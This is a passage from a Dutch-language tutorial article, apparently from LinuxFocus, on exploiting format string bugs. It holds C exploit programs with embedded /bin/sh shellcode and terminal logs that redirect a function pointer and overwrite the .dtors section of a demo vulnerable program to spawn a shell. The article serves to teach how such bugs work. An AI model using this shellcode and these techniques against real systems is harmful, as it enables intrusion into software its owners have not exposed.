  execve(argv[0], arg, env);
}

>>./argv 2
*** argv 2 ***
argv = 0xbffff6b4
arg = 0x8049828
argv[0] = 0xbffff80b (0xbffff6b4)
arg[0] = 0xbffff80b (0x8049828)
argv[1] = 0xbffff812 (0xbffff6b8)
arg[1] = 0x8049838 (0x804982c)

*** argv 1 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

*** argv 0 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

We zien onmiddelijk wat het gealloceerde adres voor arg en argv is en deze verplaatsen niet meer na de tweede aanroep. We gaan deze eigenschap gebruiken in onze exploitatie. We hoeven alleen maar ons build programma enigzins aan te pakken om het zichzelf te laten aanroepen voordat het vuln aanroept. Op deze manier krijgen we de precieze argv adressen, en ook degene van onze commandoregelcode:

/* build2.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
//Same function as in build.c
}

int
main(int argc, char **argv) {

char *buf;
char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if(argc < 3)
return EXIT_FAILURE;

  if (argc == 3) {

fprintf(stderr, "Calling %s ...\n", argv[0]);
buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
&shellcode,
atoi(argv[2]));  /* offset */

fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL);

} else {

fprintf(stderr, "Calling ./vuln ...\n");
fprintf(stderr, "sc = %p\n", argv[2]);
buf = build(strtoul(argv[3], NULL, 16),  /* adresse */
argv[2],
atoi(argv[4]));  /* offset */

fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));

execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL);
  }

  return EXIT_SUCCESS;
}

De truc bestaat hieruit dat we weten wat we aan moeten roepen aan de hand van het aantal argumenten die het programma ontvangen heeft. Om te beginnen met hier gebruik van te maken, moeten we build2 het adres dat we willen hebben, geven om weg te schrijven, inclusief de offset. We hoeven de waarde niet meer aan te geven, omdat dit wordt geëvalueerd door onze volgende aanroepen.

Om succesvol te zijn, moeten we dezelfde geheugen-layout houden tussen de verschillende aanroepen van build2 en daarna vuln (dat is waarom we de build() functie aanroepen, om dezelfde geheugenafdruk te kunnen gebruiken):

>>./build2 0xbffff634 3
Calling ./build2 ...
adr : -1073744332 (bffff634)
val : -1073744172 (bffff6d4)
valh: 49151 (bfff)
vall: 63188 (f6d4)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff88f
adr : -1073744332 (bffff634)
val : -1073743729 (bffff88f)
valh: 49151 (bfff)
vall: 63631 (f88f)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6öÿ¿4öÿ¿000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000
00000000000] (127)
after : ptrf() = 0xbffff88f (0xbffff634)
Segmentation fault (core dumped)

Waarom werkt dit niet? We zeiden al dat we een exacte copy van het geheugen moesten bouwen tussen de 2 aanroepen.....en dat hebben we niet gedaan! argv[0] (de naam van het programma) is veranderd. Ons programma heet eerst build2 (6 bytes) en vuln erna (4 bytes). Er is hier een verschil van 2 bytes, en dat is precies de waarde die je in het voorbeeld hierboven kan vinden. Het adres van de commandoregelcode wordt gedurende de tweede aanroep van build2 gegeven door sc=0xbffff88f maar de inhoud van argv[2] in vuln geeft 20xbffff891: onze 2 bytes. Om dit probleem op te lossen, is het voldoende om onze build2 te hernoemen naar iets van maar 4 letters, dus bui2:

>>cp build2 bui2
>>./bui2 0xbffff634 3
Calling ./bui2 ...
adr : -1073744332 (bffff634)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff891
adr : -1073744332 (bffff634)
val : -1073743727 (bffff891)
valh: 49151 (bfff)
vall: 63633 (f891)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6öÿ¿4öÿ¿0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
000000000000000] (127)
after : ptrf() = 0xbffff891 (0xbffff634)
bash$

Alweer gewonnen: Het werkt zo veel beter ;-) De "eggshell" staat in de stack en we hebben het adres waar naartoe wordt gewezen door ptrf veranderd, zodat het naar onze commandoregelcode wijst. Dit kan natuurlijk alleen maar gebruikt worden als de stack uitvoerbaar is.

Maar we hebben gezien dat format strings ons toestaan om overal te schrijven: laten we nu eens een sloper aan ons programma toevoegen in de .dtors sectie:

>>objdump -s -j .dtors vuln

vuln: file format elf32-i386

Contents of section .dtors:
80498c0 ffffffff 00000000........
>>./bui2 80498c4 3
Calling ./bui2 ...
adr : 134518980 (80498c4)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[ÆÄ%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff894
adr : 134518980 (80498c4)
val : -1073743724 (bffff894)
valh: 49151 (bfff)
vall: 63636 (f894)
[ÆÄ%.49143x%3$hn%.14485x%4$hn] (34)
0 0xbffff86a
1 0xbffff871
2 0xbffff894
3 0xbffff8c2
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [ÆÄ000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x80486c4 (0xbffff634)
Welcome in "helloWorld"
bash$ exit
exit
>>

Hier wordt er geen coredump gegenereerd als we onze sloper beëindigen. Dit komt doordat onze commandoregelcode een exit(0) aanroep bevat.

Tenslotte een laatste toegift, hier is build3.c deze geeft ook een commandoregel, maar ditmaal met behulp van een omgevingsvariabele:

/* build3.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
//Même fonction que dans build.c
}

int main(int argc, char **argv) {
  char **env;
  char **arg;
  unsigned char *buf;
  unsigned char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if (argc == 3) {

fprintf(stderr, "Calling %s ...\n", argv[0]);
buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
&shellcode,
atoi(argv[2]));  /* offset */

fprintf(stderr, "%d\n", strlen(buf));
fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
printf("%s",  buf);
arg = (char **) malloc(sizeof(char *) * 3);
arg[0]=argv[0];
arg[1]=buf;
arg[2]=NULL;
env = (char **) malloc(sizeof(char *) * 4);
env[0]=&shellcode;
env[1]=argv[1];
env[2]=argv[2];
env[3]=NULL;
execve(argv[0],arg,env);
  } else
  if(argc==2) {
fprintf(stderr, "Calling ./vuln ...\n");
fprintf(stderr, "sc = %p\n", environ[0]);
buf = build(strtoul(environ[1], NULL, 16),  /* adresse */
environ[0],
atoi(environ[2]));  /* offset */

fprintf(stderr, "%d\n", strlen(buf));
fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
printf("%s",  buf);
arg = (char **) malloc(sizeof(char *) * 3);
arg[0]=argv[0];
arg[1]=buf;
arg[2]=NULL;
execve("./vuln",arg,environ);
  }
  return 0;
}

Ook hier moeten we voorzichtig zijn en ervoor zorgen dat we het geheugen niet veranderen, aangezien de omgevingsvariabele in de stack staat (m.a.w. het veranderen van de positie van de variabelen en de argumenten). De naam van de "binary's" moet hetzelfde aantal karakters bevatten als de naam van het kwetsbare programma vuln.

Hier kiezen we ervoor om de globale variabele extern char **environ te gebruiken om de benodigde waardes in te stellen:

1. environ[0]: bevat commandoregelcode;
2. environ[1]: bevat het adres waar we naar verwachten te schrijven;
3. environ[2]: bevat de offset.

Conclusie : Hoe format bugs te vermijden?

Erkentelijkheid

Links

• Format Bugs: What are they, Where did they come from, How to exploit them door lamagra: lamagra.sekure.de
• Format string vulnerability door P. Bouchareine: www.hert.org
• Format String Attacks door Tim Newsham: http://www.guardent.com
• w00w00 on Heap Overflows deMatt Conover (a.k.a. Shok) & w00w00 Security Team: http://www.w00w00.org
• Overwriting the .dtors section door Juan M. Bello Rivas (a.k.a. rwxrwxrwx): http://synnergy.net

Voetnoten

... commando's ¹

het woord commando betekent hier alles dat op de format van de string betrekking heeft: de breedte, de nauwkeurigheid, ...

... bytes²

De -1 komt van het laatste karakter dat gereserveerd is voor de '\0'.

Talkback voor dit artikel

2004-03-08, generated by lfparser version 2.36